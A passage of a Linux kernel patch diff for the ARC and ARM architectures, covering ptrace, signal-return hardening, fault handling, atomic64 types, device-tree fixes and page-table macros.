@@ static inline void arch_kgdb_breakpoint(void) extern void kgdb_trap(struct pt_regs *regs, int param); -enum arc700_linux_regnums { +/* This is the numbering of registers according to the GDB. See GDB's + * arc-tdep.h for details. + * + * Registers are ordered for GDB 7.5. It is incompatible with GDB 6.8. */ +enum arc_linux_regnums { _R0 = 0, _R1, _R2, _R3, _R4, _R5, _R6, _R7, _R8, _R9, _R10, _R11, _R12, _R13, _R14, _R15, _R16, _R17, _R18, _R19, _R20, _R21, _R22, _R23, _R24, _R25, _R26, - _BTA = 27, - _LP_START = 28, - _LP_END = 29, - _LP_COUNT = 30, - _STATUS32 = 31, - _BLINK = 32, - _FP = 33, - __SP = 34, - _EFA = 35, - _RET = 36, - _ORIG_R8 = 37, - _STOP_PC = 38 + _FP = 27, + __SP = 28, + _R30 = 30, + _BLINK = 31, + _LP_COUNT = 60, + _STOP_PC = 64, + _RET = 64, + _LP_START = 65, + _LP_END = 66, + _STATUS32 = 67, + _ECR = 76, + _BTA = 82, }; #else diff --git a/arch/arc/include/asm/pgtable.h b/arch/arc/include/asm/pgtable.h index c110ac87d22bc..2f46f419e2c7d 100644 --- a/arch/arc/include/asm/pgtable.h +++ b/arch/arc/include/asm/pgtable.h @@ -270,7 +270,8 @@ static inline void pmd_set(pmd_t *pmdp, pte_t *ptep) #define pmd_clear(xp) do { pmd_val(*(xp)) = 0; } while (0) #define pte_page(x) (mem_map + \ - (unsigned long)(((pte_val(x) - PAGE_OFFSET) >> PAGE_SHIFT))) + (unsigned long)(((pte_val(x) - CONFIG_LINUX_LINK_BASE) >> \ + PAGE_SHIFT))) #define mk_pte(page, pgprot) \ ({ \ diff --git a/arch/arc/include/asm/ptrace.h b/arch/arc/include/asm/ptrace.h index 2046a89a57cf0..78485493639a4 100644 --- a/arch/arc/include/asm/ptrace.h +++ b/arch/arc/include/asm/ptrace.h @@ -83,7 +83,7 @@ struct callee_regs { long r13; }; -#define instruction_pointer(regs) ((regs)->ret) +#define instruction_pointer(regs) (unsigned long)((regs)->ret) #define profile_pc(regs) instruction_pointer(regs) /* return 1 if user mode or 0 if kernel mode */ diff --git a/arch/arc/include/uapi/asm/ptrace.h b/arch/arc/include/uapi/asm/ptrace.h index 30333cec0fef2..ef9d79a3db255 100644 --- a/arch/arc/include/uapi/asm/ptrace.h +++ b/arch/arc/include/uapi/asm/ptrace.h @@ -11,6 +11,7 @@ #ifndef _UAPI__ASM_ARC_PTRACE_H #define _UAPI__ASM_ARC_PTRACE_H +#define PTRACE_GET_THREAD_AREA 25 #ifndef __ASSEMBLY__ /* diff --git a/arch/arc/kernel/ptrace.c b/arch/arc/kernel/ptrace.c index 0851604bb9cd8..f8a36ed9e0d57 100644 --- a/arch/arc/kernel/ptrace.c +++ b/arch/arc/kernel/ptrace.c @@ -136,6 +136,10 @@ long arch_ptrace(struct task_struct *child, long request, pr_debug("REQ=%ld: ADDR =0x%lx, DATA=0x%lx)\n", request, addr, data); switch (request) { + case PTRACE_GET_THREAD_AREA: + ret = put_user(task_thread_info(child)->thr_ptr, + (unsigned long __user *)data); + break; default: ret = ptrace_request(child, request, addr, data); break; diff --git a/arch/arc/kernel/signal.c b/arch/arc/kernel/signal.c index 7e95e1a86510f..6763654239a22 100644 --- a/arch/arc/kernel/signal.c +++ b/arch/arc/kernel/signal.c @@ -131,6 +131,15 @@ SYSCALL_DEFINE0(rt_sigreturn) /* Don't restart from sigreturn */ syscall_wont_restart(regs); + /* + * Ensure that sigreturn always returns to user mode (in case the + * regs saved on user stack got fudged between save and sigreturn) + * Otherwise it is easy to panic the kernel with a custom + * signal handler and/or restorer which clobberes the status32/ret + * to return to a bogus location in kernel mode. + */ + regs->status32 |= STATUS_U_MASK; + return regs->r0; badframe: @@ -234,8 +243,11 @@ setup_rt_frame(int signo, struct k_sigaction *ka, siginfo_t *info, /* * handler returns using sigreturn stub provided already by userpsace + * If not, nuke the process right away */ - BUG_ON(!(ka->sa.sa_flags & SA_RESTORER)); + if(!(ka->sa.sa_flags & SA_RESTORER)) + return 1; + regs->blink = (unsigned long)ka->sa.sa_restorer; /* User Stack for signal handler will be above the frame just carved */ @@ -302,12 +314,12 @@ handle_signal(unsigned long sig, struct k_sigaction *ka, siginfo_t *info, struct pt_regs *regs) { sigset_t *oldset = sigmask_to_save(); - int ret; + int failed; /* Set up the stack frame */ - ret = setup_rt_frame(sig, ka, info, oldset, regs); + failed = setup_rt_frame(sig, ka, info, oldset, regs); - if (ret) + if (failed) force_sigsegv(sig, current); else signal_delivered(sig, info, ka, regs, 0); diff --git a/arch/arc/kernel/stacktrace.c b/arch/arc/kernel/stacktrace.c index ca0207b9d5b6f..06997ad707252 100644 --- a/arch/arc/kernel/stacktrace.c +++ b/arch/arc/kernel/stacktrace.c @@ -131,7 +131,7 @@ arc_unwind_core(struct task_struct *tsk, struct pt_regs *regs, * prelogue is setup (callee regs saved and then fp set and not other * way around */ - pr_warn("CONFIG_ARC_DW2_UNWIND needs to be enabled\n"); + pr_warn_once("CONFIG_ARC_DW2_UNWIND needs to be enabled\n"); return 0; #endif diff --git a/arch/arc/kernel/unwind.c b/arch/arc/kernel/unwind.c index a8d02223da44a..14558a9fa3b3a 100644 --- a/arch/arc/kernel/unwind.c +++ b/arch/arc/kernel/unwind.c @@ -984,42 +984,13 @@ int arc_unwind(struct unwind_frame_info *frame) (const u8 *)(fde + 1) + *fde, ptrType); - if (pc >= endLoc) + if (pc >= endLoc) { fde = NULL; - } else - fde = NULL; - } - if (fde == NULL) { - for (fde = table->address, tableSize = table->size; - cie = NULL, tableSize > sizeof(*fde) - && tableSize - sizeof(*fde) >= *fde; - tableSize -= sizeof(*fde) + *fde, - fde += 1 + *fde / sizeof(*fde)) { - cie = cie_for_fde(fde, table); - if (cie == &bad_cie) { cie = NULL; - break; } - if (cie == NULL - || cie == ¬_fde - || (ptrType = fde_pointer_type(cie)) < 0) - continue; - ptr = (const u8 *)(fde + 2); - startLoc = read_pointer(&ptr, - (const u8 *)(fde + 1) + - *fde, ptrType); - if (!startLoc) - continue; - if (!(ptrType & DW_EH_PE_indirect)) - ptrType &= - DW_EH_PE_FORM | DW_EH_PE_signed; - endLoc = - startLoc + read_pointer(&ptr, - (const u8 *)(fde + - 1) + - *fde, ptrType); - if (pc >= startLoc && pc < endLoc) - break; + } else { + fde = NULL; + cie = NULL; } } } diff --git a/arch/arc/mm/fault.c b/arch/arc/mm/fault.c index 7c10770782a13..08f65bcf9130f 100644 --- a/arch/arc/mm/fault.c +++ b/arch/arc/mm/fault.c @@ -122,7 +122,6 @@ void do_page_fault(struct pt_regs *regs, int write, unsigned long address, goto bad_area; } -survive: /* * If for any reason at all we couldn't handle the fault, * make sure we exit gracefully rather than endlessly redo @@ -161,6 +160,8 @@ void do_page_fault(struct pt_regs *regs, int write, unsigned long address, /* TBD: switch to pagefault_out_of_memory() */ if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; @@ -202,14 +203,12 @@ void do_page_fault(struct pt_regs *regs, int write, unsigned long address, die("Oops", regs, address, cause_code); out_of_memory: - if (is_global_init(tsk)) { - yield(); - goto survive; - } up_read(&mm->mmap_sem); - if (user_mode(regs)) - do_group_exit(SIGKILL); /* This will never return */ + if (user_mode(regs)) { + pagefault_out_of_memory(); + return; + } goto no_context; diff --git a/arch/arc/mm/tlbex.S b/arch/arc/mm/tlbex.S index 3357d26ffe542..74691e652a3af 100644 --- a/arch/arc/mm/tlbex.S +++ b/arch/arc/mm/tlbex.S @@ -219,7 +219,7 @@ ex_saved_reg1: #ifdef CONFIG_SMP sr r0, [ARC_REG_SCRATCH_DATA0] ; freeup r0 to code with GET_CPU_ID r0 ; get to per cpu scratch mem, - lsl r0, r0, L1_CACHE_SHIFT ; cache line wide per cpu + asl r0, r0, L1_CACHE_SHIFT ; cache line wide per cpu add r0, @ex_saved_reg1, r0 #else st r0, [@ex_saved_reg1] @@ -239,7 +239,7 @@ ex_saved_reg1: .macro TLBMISS_RESTORE_REGS #ifdef CONFIG_SMP GET_CPU_ID r0 ; get to per cpu scratch mem - lsl r0, r0, L1_CACHE_SHIFT ; each is cache line wide + asl r0, r0, L1_CACHE_SHIFT ; each is cache line wide add r0, @ex_saved_reg1, r0 ld_s r3, [r0,12] ld_s r2, [r0, 8] diff --git a/arch/arm/Makefile b/arch/arm/Makefile index 8554be2aa62e4..64efad3cd5448 100644 --- a/arch/arm/Makefile +++ b/arch/arm/Makefile @@ -51,6 +51,14 @@ endif comma = , +# +# The Scalar Replacement of Aggregates (SRA) optimization pass in GCC 4.9 and +# later may result in code being generated that handles signed short and signed +# char struct members incorrectly. So disable it. +# (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=65932) +# +KBUILD_CFLAGS += $(call cc-option,-fno-ipa-sra) + # This selects which instruction set is used. # Note that GCC does not numerically define an architecture version # macro, but instead defines a whole series of macros which makes diff --git a/arch/arm/boot/dts/armada-xp-openblocks-ax3-4.dts b/arch/arm/boot/dts/armada-xp-openblocks-ax3-4.dts index 9746d0e7fcb44..5dfb3d354470b 100644 --- a/arch/arm/boot/dts/armada-xp-openblocks-ax3-4.dts +++ b/arch/arm/boot/dts/armada-xp-openblocks-ax3-4.dts @@ -32,6 +32,10 @@ 0xf0000000 0 0xf0000000 0x8000000 /* Device Bus, NOR 128MiB */>; internal-regs { + rtc@10300 { + /* No crystal connected to the internal RTC */ + status = "disabled"; + }; serial@12000 { clock-frequency = <250000000>; status = "okay"; diff --git a/arch/arm/boot/dts/dove.dtsi b/arch/arm/boot/dts/dove.dtsi index 6cab46849cdb4..d1e47092d21ac 100644 --- a/arch/arm/boot/dts/dove.dtsi +++ b/arch/arm/boot/dts/dove.dtsi @@ -75,7 +75,7 @@ uart2: serial@12200 { compatible = "ns16550a"; - reg = <0x12000 0x100>; + reg = <0x12200 0x100>; reg-shift = <2>; interrupts = <9>; clocks = <&core_clk 0>; @@ -84,7 +84,7 @@ uart3: serial@12300 { compatible = "ns16550a"; - reg = <0x12100 0x100>; + reg = <0x12300 0x100>; reg-shift = <2>; interrupts = <10>; clocks = <&core_clk 0>; diff --git a/arch/arm/boot/dts/imx23-olinuxino.dts b/arch/arm/boot/dts/imx23-olinuxino.dts index d107c4af321ff..6fef54416cbf1 100644 --- a/arch/arm/boot/dts/imx23-olinuxino.dts +++ b/arch/arm/boot/dts/imx23-olinuxino.dts @@ -89,6 +89,7 @@ ahb@80080000 { usb0: usb@80080000 { + dr_mode = "host"; vbus-supply = <®_usb0_vbus>; status = "okay"; }; diff --git a/arch/arm/boot/dts/imx25.dtsi b/arch/arm/boot/dts/imx25.dtsi index 701153992c695..2a571bcacaf44 100644 --- a/arch/arm/boot/dts/imx25.dtsi +++ b/arch/arm/boot/dts/imx25.dtsi @@ -141,7 +141,7 @@ #size-cells = <0>; compatible = "fsl,imx25-cspi", "fsl,imx35-cspi"; reg = <0x43fa4000 0x4000>; - clocks = <&clks 62>, <&clks 62>; + clocks = <&clks 78>, <&clks 78>; clock-names = "ipg", "per"; interrupts = <14>; status = "disabled"; @@ -335,7 +335,7 @@ compatible = "fsl,imx25-pwm", "fsl,imx27-pwm"; #pwm-cells = <2>; reg = <0x53fa0000 0x4000>; - clocks = <&clks 106>, <&clks 36>; + clocks = <&clks 106>, <&clks 52>; clock-names = "ipg", "per"; interrupts = <36>; }; @@ -354,7 +354,7 @@ compatible = "fsl,imx25-pwm", "fsl,imx27-pwm"; #pwm-cells = <2>; reg = <0x53fa8000 0x4000>; - clocks = <&clks 107>, <&clks 36>; + clocks = <&clks 107>, <&clks 52>; clock-names = "ipg", "per"; interrupts = <41>; }; @@ -393,8 +393,9 @@ pwm4: pwm@53fc8000 { compatible = "fsl,imx25-pwm", "fsl,imx27-pwm"; + #pwm-cells = <2>; reg = <0x53fc8000 0x4000>; - clocks = <&clks 108>, <&clks 36>; + clocks = <&clks 108>, <&clks 52>; clock-names = "ipg", "per"; interrupts = <42>; }; @@ -439,7 +440,7 @@ compatible = "fsl,imx25-pwm", "fsl,imx27-pwm"; #pwm-cells = <2>; reg = <0x53fe0000 0x4000>; - clocks = <&clks 105>, <&clks 36>; + clocks = <&clks 105>, <&clks 52>; clock-names = "ipg", "per"; interrupts = <26>; }; diff --git a/arch/arm/boot/dts/imx27.dtsi b/arch/arm/boot/dts/imx27.dtsi index 75bd11386516d..77730a37344e2 100644 --- a/arch/arm/boot/dts/imx27.dtsi +++ b/arch/arm/boot/dts/imx27.dtsi @@ -290,7 +290,7 @@ fec: ethernet@1002b000 { compatible = "fsl,imx27-fec"; - reg = <0x1002b000 0x4000>; + reg = <0x1002b000 0x1000>; interrupts = <50>; clocks = <&clks 48>, <&clks 67>, <&clks 0>; clock-names = "ipg", "ahb", "ptp"; diff --git a/arch/arm/boot/dts/imx28.dtsi b/arch/arm/boot/dts/imx28.dtsi index 4c10a1968c0e3..2e76b84c6bad6 100644 --- a/arch/arm/boot/dts/imx28.dtsi +++ b/arch/arm/boot/dts/imx28.dtsi @@ -691,7 +691,7 @@ 80 81 68 69 70 71 72 73 74 75 76 77>; - interrupt-names = "auart4-rx", "aurat4-tx", "spdif-tx", "empty", + interrupt-names = "auart4-rx", "auart4-tx", "spdif-tx", "empty", "saif0", "saif1", "i2c0", "i2c1", "auart0-rx", "auart0-tx", "auart1-rx", "auart1-tx", "auart2-rx", "auart2-tx", "auart3-rx", "auart3-tx"; diff --git a/arch/arm/common/icst.c b/arch/arm/common/icst.c index 2dc6da70ae598..d7ed252708c57 100644 --- a/arch/arm/common/icst.c +++ b/arch/arm/common/icst.c @@ -16,7 +16,7 @@ */ #include #include - +#include #include /* @@ -29,7 +29,11 @@ EXPORT_SYMBOL(icst525_s2div); unsigned long icst_hz(const struct icst_params *p, struct icst_vco vco) { - return p->ref * 2 * (vco.v + 8) / ((vco.r + 2) * p->s2div[vco.s]); + u64 dividend = p->ref * 2 * (u64)(vco.v + 8); + u32 divisor = (vco.r + 2) * p->s2div[vco.s]; + + do_div(dividend, divisor); + return (unsigned long)dividend; } EXPORT_SYMBOL(icst_hz); @@ -58,6 +62,7 @@ icst_hz_to_vco(const struct icst_params *p, unsigned long freq) if (f > p->vco_min && f <= p->vco_max) break; + i++; } while (i < 8); if (i >= 8) diff --git a/arch/arm/configs/multi_v7_defconfig b/arch/arm/configs/multi_v7_defconfig index 9ce8ba1a14332..adb9aa5c88c7a 100644 --- a/arch/arm/configs/multi_v7_defconfig +++ b/arch/arm/configs/multi_v7_defconfig @@ -48,6 +48,8 @@ CONFIG_SERIAL_SIRFSOC=y CONFIG_SERIAL_SIRFSOC_CONSOLE=y CONFIG_SERIAL_VT8500=y CONFIG_SERIAL_VT8500_CONSOLE=y +CONFIG_SERIAL_XILINX_PS_UART=y +CONFIG_SERIAL_XILINX_PS_UART_CONSOLE=y CONFIG_IPMI_HANDLER=y CONFIG_IPMI_SI=y CONFIG_I2C=y diff --git a/arch/arm/crypto/aes_glue.c b/arch/arm/crypto/aes_glue.c index 3003fa1f6fb4b..0409b8f897823 100644 --- a/arch/arm/crypto/aes_glue.c +++ b/arch/arm/crypto/aes_glue.c @@ -93,6 +93,6 @@ module_exit(aes_fini); MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm (ASM)"); MODULE_LICENSE("GPL"); -MODULE_ALIAS("aes"); -MODULE_ALIAS("aes-asm"); +MODULE_ALIAS_CRYPTO("aes"); +MODULE_ALIAS_CRYPTO("aes-asm"); MODULE_AUTHOR("David McCullough "); diff --git a/arch/arm/crypto/sha1_glue.c b/arch/arm/crypto/sha1_glue.c index 84f2a756588be..e31b0440c6139 100644 --- a/arch/arm/crypto/sha1_glue.c +++ b/arch/arm/crypto/sha1_glue.c @@ -171,5 +171,5 @@ module_exit(sha1_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm (ARM)"); -MODULE_ALIAS("sha1"); +MODULE_ALIAS_CRYPTO("sha1"); MODULE_AUTHOR("David McCullough "); diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h index e7c2b39352a28..c8b3d825d81b2 100644 --- a/arch/arm/include/asm/atomic.h +++ b/arch/arm/include/asm/atomic.h @@ -114,7 +114,8 @@ static inline int atomic_sub_return(int i, atomic_t *v) static inline int atomic_cmpxchg(atomic_t *ptr, int old, int new) { - unsigned long oldval, res; + int oldval; + unsigned long res; smp_mb(); @@ -209,15 +210,15 @@ static inline int __atomic_add_unless(atomic_t *v, int a, int u) #ifndef CONFIG_GENERIC_ATOMIC64 typedef struct { - u64 __aligned(8) counter; + long long counter; } atomic64_t; #define ATOMIC64_INIT(i) { (i) } #ifdef CONFIG_ARM_LPAE -static inline u64 atomic64_read(const atomic64_t *v) +static inline long long atomic64_read(const atomic64_t *v) { - u64 result; + long long result; __asm__ __volatile__("@ atomic64_read\n" " ldrd %0, %H0, [%1]" @@ -228,7 +229,7 @@ static inline u64 atomic64_read(const atomic64_t *v) return result; } -static inline void atomic64_set(atomic64_t *v, u64 i) +static inline void atomic64_set(atomic64_t *v, long long i) { __asm__ __volatile__("@ atomic64_set\n" " strd %2, %H2, [%1]" @@ -237,9 +238,9 @@ static inline void atomic64_set(atomic64_t *v, u64 i) ); } #else -static inline u64 atomic64_read(const atomic64_t *v) +static inline long long atomic64_read(const atomic64_t *v) { - u64 result; + long long result; __asm__ __volatile__("@ atomic64_read\n" " ldrexd %0, %H0, [%1]" @@ -250,9 +251,9 @@ static inline u64 atomic64_read(const atomic64_t *v) return result; } -static inline void atomic64_set(atomic64_t *v, u64 i) +static inline void atomic64_set(atomic64_t *v, long long i) { - u64 tmp; + long long tmp; __asm__ __volatile__("@ atomic64_set\n" "1: ldrexd %0, %H0, [%2]\n" @@ -265,9 +266,9 @@ static inline void atomic64_set(atomic64_t *v, u64 i) } #endif -static inline void atomic64_add(u64 i, atomic64_t *v) +static inline void atomic64_add(long long i, atomic64_t *v) { - u64 result; + long long result; unsigned long tmp; __asm__ __volatile__("@ atomic64_add\n" @@ -282,9 +283,9 @@ static inline void atomic64_add(u64 i, atomic64_t *v) : "cc"); } -static inline u64 atomic64_add_return(u64 i, atomic64_t *v) +static inline long long atomic64_add_return(long long i, atomic64_t *v) { - u64 result; + long long result; unsigned long tmp; smp_mb(); @@ -305,9 +306,9 @@ static inline u64 atomic64_add_return(u64 i, atomic64_t *v) return result; } -static inline void atomic64_sub(u64 i, atomic64_t *v) +static inline void atomic64_sub(long long i, atomic64_t *v) { - u64 result; + long long result; unsigned long tmp; __asm__ __volatile__("@ atomic64_sub\n" @@ -322,9 +323,9 @@ static inline void atomic64_sub(u64 i, atomic64_t *v) : "cc"); } -static inline u64 atomic64_sub_return(u64 i, atomic64_t *v) +static inline long long atomic64_sub_return(long long i, atomic64_t *v) { - u64 result; + long long result; unsigned long tmp; smp_mb(); @@ -345,9 +346,10 @@ static inline u64 atomic64_sub_return(u64 i, atomic64_t *v) return result; } -static inline u64 atomic64_cmpxchg(atomic64_t *ptr, u64 old, u64 new) +static inline long long atomic64_cmpxchg(atomic64_t *ptr, long long old, + long long new) { - u64 oldval; + long long oldval; unsigned long res; smp_mb(); @@ -369,9 +371,9 @@ static inline u64 atomic64_cmpxchg(atomic64_t *ptr, u64 old, u64 new) return oldval; } -static inline u64 atomic64_xchg(atomic64_t *ptr, u64 new) +static inline long long atomic64_xchg(atomic64_t *ptr, long long new) { - u64 result; + long long result; unsigned long tmp; smp_mb(); @@ -390,9 +392,9 @@ static inline u64 atomic64_xchg(atomic64_t *ptr, u64 new) return result; } -static inline u64 atomic64_dec_if_positive(atomic64_t *v) +static inline long long atomic64_dec_if_positive(atomic64_t *v) { - u64 result; + long long result; unsigned long tmp; smp_mb(); @@ -416,9 +418,9 @@ static inline u64 atomic64_dec_if_positive(atomic64_t *v) return result; } -static inline int atomic64_add_unless(atomic64_t *v, u64 a, u64 u) +static inline int atomic64_add_unless(atomic64_t *v, long long a, long long u) { - u64 val; + long long val; unsigned long tmp; int ret = 1; diff --git a/arch/arm/include/asm/bug.h b/arch/arm/include/asm/bug.h index 7af5c6c3653a8..b274bde24905a 100644 --- a/arch/arm/include/asm/bug.h +++ b/arch/arm/include/asm/bug.h @@ -2,6 +2,8 @@ #define _ASMARM_BUG_H #include +#include +#include #ifdef CONFIG_BUG @@ -12,10 +14,10 @@ */ #ifdef CONFIG_THUMB2_KERNEL #define BUG_INSTR_VALUE 0xde02 -#define BUG_INSTR_TYPE ".hword " +#define BUG_INSTR(__value) __inst_thumb16(__value) #else #define BUG_INSTR_VALUE 0xe7f001f2 -#define BUG_INSTR_TYPE ".word " +#define BUG_INSTR(__value) __inst_arm(__value) #endif @@ -33,7 +35,7 @@ #define __BUG(__file, __line, __value) \ do { \ - asm volatile("1:\t" BUG_INSTR_TYPE #__value "\n" \ + asm volatile("1:\t" BUG_INSTR(__value) "\n" \ ".pushsection .rodata.str, \"aMS\", %progbits, 1\n" \ "2:\t.asciz " #__file "\n" \ ".popsection\n" \ @@ -48,7 +50,7 @@ do { \ #define __BUG(__file, __line, __value) \ do { \ - asm volatile(BUG_INSTR_TYPE #__value); \ + asm volatile(BUG_INSTR(__value) "\n"); \ unreachable(); \ } while (0) #endif /* CONFIG_DEBUG_BUGVERBOSE */ diff --git a/arch/arm/include/asm/elf.h b/arch/arm/include/asm/elf.h index f4b46d39b9cfb..051b7269e6399 100644 --- a/arch/arm/include/asm/elf.h +++ b/arch/arm/include/asm/elf.h @@ -114,7 +114,7 @@ int dump_task_regs(struct task_struct *t, elf_gregset_t *elfregs); the loader. We need to make sure that it is out of the way of the program that it will "exec", and that there is sufficient room for the brk. */ -#define ELF_ET_DYN_BASE (2 * TASK_SIZE / 3) +#define ELF_ET_DYN_BASE (TASK_SIZE / 3 * 2) /* When the program starts, a1 contains a pointer to a function to be registered with atexit, as per the SVR4 ABI. A value of 0 means we diff --git a/arch/arm/include/asm/memory.h b/arch/arm/include/asm/memory.h index 38864a2f4034a..03c7ec3af3a0b 100644 --- a/arch/arm/include/asm/memory.h +++ b/arch/arm/include/asm/memory.h @@ -98,23 +98,19 @@ #define TASK_UNMAPPED_BASE UL(0x00000000) #endif -#ifndef PHYS_OFFSET -#define PHYS_OFFSET UL(CONFIG_DRAM_BASE) -#endif - #ifndef END_MEM #define END_MEM (UL(CONFIG_DRAM_BASE) + CONFIG_DRAM_SIZE) #endif #ifndef PAGE_OFFSET -#define PAGE_OFFSET (PHYS_OFFSET) +#define PAGE_OFFSET PLAT_PHYS_OFFSET #endif /* * The module can be at any place in ram in nommu mode. */ #define MODULES_END (END_MEM) -#define MODULES_VADDR (PHYS_OFFSET) +#define MODULES_VADDR PAGE_OFFSET #define XIP_VIRT_ADDR(physaddr) (physaddr) @@ -141,6 +137,16 @@ #define page_to_phys(page) (__pfn_to_phys(page_to_pfn(page))) #define phys_to_page(phys) (pfn_to_page(__phys_to_pfn(phys))) +/* + * PLAT_PHYS_OFFSET is the offset (from zero) of the start of physical + * memory. This is used for XIP and NoMMU kernels, or by kernels which + * have their own mach/memory.h. Assembly code must always use + * PLAT_PHYS_OFFSET and not PHYS_OFFSET. + */ +#ifndef PLAT_PHYS_OFFSET +#define PLAT_PHYS_OFFSET UL(CONFIG_PHYS_OFFSET) +#endif + #ifndef __ASSEMBLY__ /* @@ -183,22 +189,15 @@ static inline unsigned long __phys_to_virt(unsigned long x) return t; } #else + +#define PHYS_OFFSET PLAT_PHYS_OFFSET + #define __virt_to_phys(x) ((x) - PAGE_OFFSET + PHYS_OFFSET) #define __phys_to_virt(x) ((x) - PHYS_OFFSET + PAGE_OFFSET) -#endif -#endif -#endif /* __ASSEMBLY__ */ -#ifndef PHYS_OFFSET -#ifdef PLAT_PHYS_OFFSET -#define PHYS_OFFSET PLAT_PHYS_OFFSET -#else -#define PHYS_OFFSET UL(CONFIG_PHYS_OFFSET) #endif #endif -#ifndef __ASSEMBLY__ - /* * PFNs are used to describe any physical page; this means * PFN 0 == physical address 0. @@ -207,7 +206,7 @@ static inline unsigned long __phys_to_virt(unsigned long x) * direct-mapped view. We assume this is the first page * of RAM in the mem_map as well. */ -#define PHYS_PFN_OFFSET (PHYS_OFFSET >> PAGE_SHIFT) +#define PHYS_PFN_OFFSET ((unsigned long)(PHYS_OFFSET >> PAGE_SHIFT)) /* * These are *only* valid on the kernel direct mapped RAM memory. @@ -275,7 +274,8 @@ static inline __deprecated void *bus_to_virt(unsigned long x) #define ARCH_PFN_OFFSET PHYS_PFN_OFFSET #define virt_to_page(kaddr) pfn_to_page(__pa(kaddr) >> PAGE_SHIFT) -#define virt_addr_valid(kaddr) ((unsigned long)(kaddr) >= PAGE_OFFSET && (unsigned long)(kaddr) < (unsigned long)high_memory) +#define virt_addr_valid(kaddr) (((unsigned long)(kaddr) >= PAGE_OFFSET && (unsigned long)(kaddr) < (unsigned long)high_memory) \ + && pfn_valid(__pa(kaddr) >> PAGE_SHIFT) ) /* * Set if the architecture speculatively fetches data into cache. diff --git a/arch/arm/include/asm/page.h b/arch/arm/include/asm/page.h index 9c7628675902f..06fa6d07b5990 100644 --- a/arch/arm/include/asm/page.h +++ b/arch/arm/include/asm/page.h @@ -13,7 +13,7 @@ /* PAGE_SHIFT determines the page size */ #define PAGE_SHIFT 12 #define PAGE_SIZE (_AC(1,UL) << PAGE_SHIFT) -#define PAGE_MASK (~(PAGE_SIZE-1)) +#define PAGE_MASK (~((1 << PAGE_SHIFT) - 1)) #ifndef __ASSEMBLY__ diff --git a/arch/arm/include/asm/pgtable-3level-hwdef.h b/arch/arm/include/asm/pgtable-3level-hwdef.h index 1df52903f16f4..e0fab5b2f014a 100644 --- a/arch/arm/include/asm/pgtable-3level-hwdef.h +++ b/arch/arm/include/asm/pgtable-3level-hwdef.h @@ -71,6 +71,7 @@ #define PTE_TYPE_PAGE (_AT(pteval_t, 3) << 0) #define PTE_BUFFERABLE (_AT(pteval_t, 1) << 2) /* AttrIndx[0] */ #define PTE_CACHEABLE (_AT(pteval_t, 1) << 3) /* AttrIndx[1] */ +#define PTE_AP2 (_AT(pteval_t, 1) << 7) /* AP[2] */ #define PTE_EXT_SHARED (_AT(pteval_t, 3) << 8) /* SH[1:0], inner shareable */ #define PTE_EXT_AF (_AT(pteval_t, 1) << 10) /* Access Flag */ #define PTE_EXT_NG (_AT(pteval_t, 1) << 11) /* nG */ diff --git a/arch/arm/include/asm/pgtable-3level.h b/arch/arm/include/asm/pgtable-3level.h index 1f576e4948e5c..bd47d84858839 100644 --- a/arch/arm/include/asm/pgtable-3level.h +++ b/arch/arm/include/asm/pgtable-3level.h @@ -33,7 +33,7 @@ #define PTRS_PER_PMD 512 #define PTRS_PER_PGD 4 -#define PTE_HWTABLE_PTRS (PTRS_PER_PTE) +#define PTE_HWTABLE_PTRS (0) #define PTE_HWTABLE_OFF (0) #define PTE_HWTABLE_SIZE (PTRS_PER_PTE * sizeof(u64)) @@ -48,16 +48,16 @@ #define PMD_SHIFT 21 #define PMD_SIZE (1UL << PMD_SHIFT) -#define PMD_MASK (~(PMD_SIZE-1)) +#define PMD_MASK (~((1 << PMD_SHIFT) - 1)) #define PGDIR_SIZE (1UL << PGDIR_SHIFT) -#define PGDIR_MASK (~(PGDIR_SIZE-1)) +#define PGDIR_MASK (~((1 << PGDIR_SHIFT) - 1)) /* * section address mask and size definitions. */ #define SECTION_SHIFT 21 #define SECTION_SIZE (1UL << SECTION_SHIFT) -#define SECTION_MASK (~(SECTION_SIZE-1)) +#define SECTION_MASK (~((1 << SECTION_SHIFT) - 1)) #define USER_PTRS_PER_PGD (PAGE_OFFSET / PGDIR_SIZE) @@ -71,13 +71,13 @@ #define L_PTE_PRESENT (_AT(pteval_t, 3) << 0) /* Present */ #define L_PTE_FILE (_AT(pteval_t, 1) << 2) /* only when !PRESENT */ #define L_PTE_USER (_AT(pteval_t, 1) << 6) /* AP[1] */ -#define L_PTE_RDONLY (_AT(pteval_t, 1) << 7) /* AP[2] */ #define L_PTE_SHARED (_AT(pteval_t, 3) << 8) /* SH[1:0], inner shareable */ #define L_PTE_YOUNG (_AT(pteval_t, 1) << 10) /* AF */ #define L_PTE_XN (_AT(pteval_t, 1) << 54) /* XN */ -#define L_PTE_DIRTY (_AT(pteval_t, 1) << 55) /* unused */ -#define L_PTE_SPECIAL (_AT(pteval_t, 1) << 56) /* unused */ +#define L_PTE_DIRTY (_AT(pteval_t, 1) << 55) +#define L_PTE_SPECIAL (_AT(pteval_t, 1) << 56) #define L_PTE_NONE (_AT(pteval_t, 1) << 57) /* PROT_NONE */ +#define L_PTE_RDONLY (_AT(pteval_t, 1) << 58) /* READ ONLY */ #define PMD_SECT_VALID (_AT(pmdval_t, 1) << 0) #define PMD_SECT_DIRTY (_AT(pmdval_t, 1) << 55) @@ -231,6 +231,23 @@ static inline int has_transparent_hugepage(void) return 1; } +/* + * For 3 levels of paging the PTE_EXT_NG bit will be set for user address ptes + * that are written to a page table but not for ptes created with mk_pte. + * + * In hugetlb_no_page, a new huge pte (new_pte) is generated and passed to + * hugetlb_cow, where it is compared with an entry in a page table. + * This comparison test fails erroneously leading ultimately to a memory leak. + * + * To correct this behaviour, we mask off PTE_EXT_NG for any pte that is + * present before running the comparison. + */ +#define __HAVE_ARCH_PTE_SAME +#define pte_same(pte_a,pte_b) ((pte_present(pte_a) ? pte_val(pte_a) & ~PTE_EXT_NG \ + : pte_val(pte_a)) \ + == (pte_present(pte_b) ? pte_val(pte_b) & ~PTE_EXT_NG \ + : pte_val(pte_b))) + #endif /* __ASSEMBLY__ */ #endif /* _ASM_PGTABLE_3LEVEL_H */ diff --git a/arch/arm/include/asm/pgtable.h 